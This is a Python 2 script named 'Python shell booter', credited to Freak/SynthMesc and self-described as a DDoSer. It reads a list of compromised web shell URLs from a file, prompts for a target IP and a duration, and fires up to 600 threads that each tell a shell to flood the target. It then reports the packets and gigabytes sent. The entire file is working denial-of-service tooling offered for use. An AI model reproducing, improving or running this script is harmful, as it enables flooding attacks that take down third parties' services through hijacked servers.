Python shell booter

#booter.py
#Made by Freak/SynthMesc
#1.0

import urllib, thread, time, os, re

print 'Loading Shells'
try:
        f=open("shells.txt","r")
        hosts = f.read()
        f.close()
except:
        print 'Unable to load shells. Exiting'
        exit()


threads = 0

packets = 0

hosts = hosts.split()

mbs = float(0.00)
count = 0
print 'Shell booter(DDoSer) by Freak/SynthMesc'
print len(hosts), 'Shells Loaded.\n'
ip = raw_input("IP: ")

seconds = input("Time: ")


seconds=str(seconds)


def fire(host):
    global ip
    global seconds
    global threads
    global mbs
    global packets
    threads += 1
    try:
        reply = urllib.urlopen(host+"?host="+ip+"&time="+seconds).read()
        reply = re.sub("\D", "", reply)
        if len(str(reply))>=10:
            threads -= 1
            print host + " did not give valid response!"
            return
        if "<html>" in reply:
            threads -= 1
            print host + " is not a valid shell!"
            return
        packets += int(reply)
        mb = (((int(reply)*65500)/1024)/1024)
        try:
            mbs += mb
        except ValueError:
            pass
    except IOError:
        pass


    threads -= 1

for host in hosts:
    while threads >= 600:
        time.sleep(0.2)
    thread.start_new_thread(fire,(host,))
while count < (int(seconds)) :
    print (int(seconds) - count), 'Seconds remaining'
    time.sleep(1)
    count += 1
print 'Stopping...'
time.sleep(5)
while threads <= 1:
    print 'Waiting on', threads,'more to finish...'
    time.sleep(1)
    if threads == 0:
        break
print

gb = mbs / 1024

accuracy = 3 #accuracy of output

mbs = float(str(mbs).split(".")[0] + "." + str(mbs).split(".")[1][0:accuracy])
gb = float(str(gb).split(".")[0] + "." + str(gb).split(".")[1][0:accuracy])

print str(packets) + " packets sent " + str(packets/int(seconds)) + " packets/s"
print str(mbs) + " MB sent " + str(mbs/float(seconds)) + " MB/s "
print str(gb) + " GB sent " + str(gb/ float(seconds)) + " GB/s"